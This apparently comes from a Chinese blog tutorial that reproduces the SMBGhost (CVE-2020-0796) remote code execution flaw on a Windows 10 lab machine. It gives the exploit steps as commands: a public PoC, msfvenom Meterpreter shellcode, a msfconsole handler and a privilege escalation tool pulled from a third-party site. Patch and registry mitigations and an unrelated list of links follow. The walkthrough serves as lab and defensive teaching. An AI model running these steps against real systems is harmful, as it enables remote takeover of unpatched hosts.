CVE-2020-0796漏洞复现(RCE)
漏洞描述
2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。 该漏洞的后果十分接近永恒之蓝系列,都利用Windows SMB漏洞远程攻击获取系统最高权限,WannaCry勒索蠕虫就是利用永恒之蓝系列漏洞攻击工具制造的大灾难。除了直接攻击SMB服务端造成RCE外,该漏洞得亮点在于对SMB客户端的攻击,攻击者可以构造特定的网页,压缩包,共享目录,OFFICE文档等多种方式触发漏洞进行攻击。
影响范围
漏洞不影响win7,漏洞影响Windows 10 1903之后的各个32位、64位版Windows,包括家用版、专业版、企业版、教育版。
Windows 10 1903 x86 32位系统
Windows 10 1903 x64 64位系统
Windows 10 1903 ARM64系统
Windows Server 1903
Windows 10 1909 x86 32位系统
Windows 10 1909 x64 64位系统
Windows 10 1909 ARM64系统
Windows Server 1909
复现漏洞
环境要求
win10虚拟机(1903或者1909版本) IP:192.168.1.135
关闭防火墙
windows 1093版本镜像
ed2k://|file|cn_windows_10_business_editions_version_1903_updated_sept_2019_x64_dvd_2f5281e1.iso|5231140864|B1D5C4C401036B0B1EBA64476A95F338|/
Kali Linux(确保可以和win10虚拟机ping通)IP=192.168.1.129
检测目标是否存在漏洞
下载检测工具https://www.endvv.com/wj/35/cve-2020-0796检测.zip
发现存在漏洞
下载利用poc
git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git
cd SMBGhost_RCE_PoC
然后把exploit.py文件里面的这些删除掉
4:生成python的反弹shellcode 使用msfvenom生成正向连接的python的shellcode
msfvenom -p windows/x64/meterpreter/bind_tcp lport=3333 -f py -o shellcode.txt
打开shellcode.txt 将shellcode里的buf全部改成USER_PAYLOAD再将修改好的shellcode粘贴到exploit.py上我们刚才删除的位置
启动msfconsole设置监听端口
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.1.135
set lport 3333
run
开启监听端口后,再去运行exploit.py
python3 exploit.py -ip 192.168.1.135
成功反弹shell,查看当前用户权限
本地提权
下载工具www.endvv.com/wj/35/cve-2020-0796-local.zip 执行完提权文件cve-2020-0796-local.exe后可以看到成功提权到system权限
修复漏洞
本地漏洞检查
检查是否使用1903或1909操作系统版本:
右键点击左下角Windows图标,选择“设置”;
点击“系统”,选择左侧的 “关于”选项卡;
查看“Windows规格”中的“版本号”,如果版本号显示为1903或1909,则证明受此漏洞影响,建议立即安装补丁
通过命令进行补丁检查
运行命令
systeminfo | findstr KB4551762
命令执行结束后如果没有查询到KB4551762补丁,则该系统存在安全风险。
安装补丁修复漏洞
在正常情况下,windows10会自动更新系统安全打上补丁,但是可能存在失败的情况。如使用如上检测方式检测判断存在漏洞,可以手动下载补丁进行安装:补丁链接链接https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762
若暂时无法及时安装补丁修复漏洞,可采取以下缓解措施 方法一:使用以下PowerShell命令禁用压缩功能,以阻止未经身份验证的攻击者利用SMBv3 服务器的漏洞。 Set-ItemProperty -Path "HKLM:SYSTEMCurrentControlSetServicesLanmanServerParameters" DisableCompression -Type DWORD -Value 1 -Force 用户可通过以下PowerShell命令撤销禁用压缩功能 Set-ItemProperty -Path "HKLM:SYSTEMCurrentControlSetServicesLanmanServerParameters" DisableCompression -Type DWORD -Value 0 -Force
方法二:右键点击桌面左下角的Windows图标,在弹出菜单中选择“运行”菜单项,在弹出的运行框中输入regedit,打开注册表编辑器。在“HKLMSYSTEMCurrentControlSetServicesLanmanServerParameters”目录中添加一个DWORD类型的注册表项DisableCompression ,数值为1。如需撤销禁用SMBv3压缩功能,将该注册表项数值修改为0或删除注册表项即可。注:利用以上方法进行更改后,无需重启即可生效;以上缓解措施仅可用来防护针对SMB服务器(SMB SERVER)的攻击,无法对SMB客户端(SMB Client)进行防护。
- PDF.NET数据开发框架 之SQL-MAP使用存储过程
- 用接口实现事件的一种方法,只是玩玩。
- 国内研究人员首次Wifi重大漏洞利用实现 | Krack攻击测试套件打包
- 想成为优秀程序员必知的要点
- Attribute(特性),怎么用才更好?
- 如何使用Airgeddon搭建基于软件的WIFI干扰器
- 还在写SQL的同志,去喝杯咖啡吧!
- 使用XSD编写具有智能提示的XML文件(以SQL-MAP脚本为实例)
- 一个利用CVE-2017-11292的APT样本技术分析(一)
- Attribute(特性),怎么用才更好? —— 字段编号被误解了
- PDF.NET的SQL日志 ASP.net 路径问题 详解
- 【自然框架】稳定版beta1——源码下载,Demo说明
- TOP语句放到表值函数外,效率异常低下的原因分析
- 常见.NET功能代码汇总 (3) 33,彻底关闭Excel进程
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 解决Django部署设置Debug=False时xadmin后台管理系统样式丢失
- 算法-查找斐波纳契数列中第 N 个数
- 在python中修改.properties文件的操作
- Django Xadmin多对多字段过滤实例
- 算法-姓名去重
- Ubuntu18.04安装 PyCharm并使用 Anaconda 管理的Python环境
- Python Opencv中用compareHist函数进行直方图比较对比图片
- 面试题-树状数组结构转化
- Xadmin+rules实现多选行权限方式(级联效果)
- Android仿主流壁纸App设置界面
- Android中WindowManager与WMS的解析
- 算法(简单)_搜索二维矩阵&分解质因数
- 算法_最大子数组&合并排序数组
- 算法_比较字符串&字符串密钥格式
- 算法_两数之和&中位数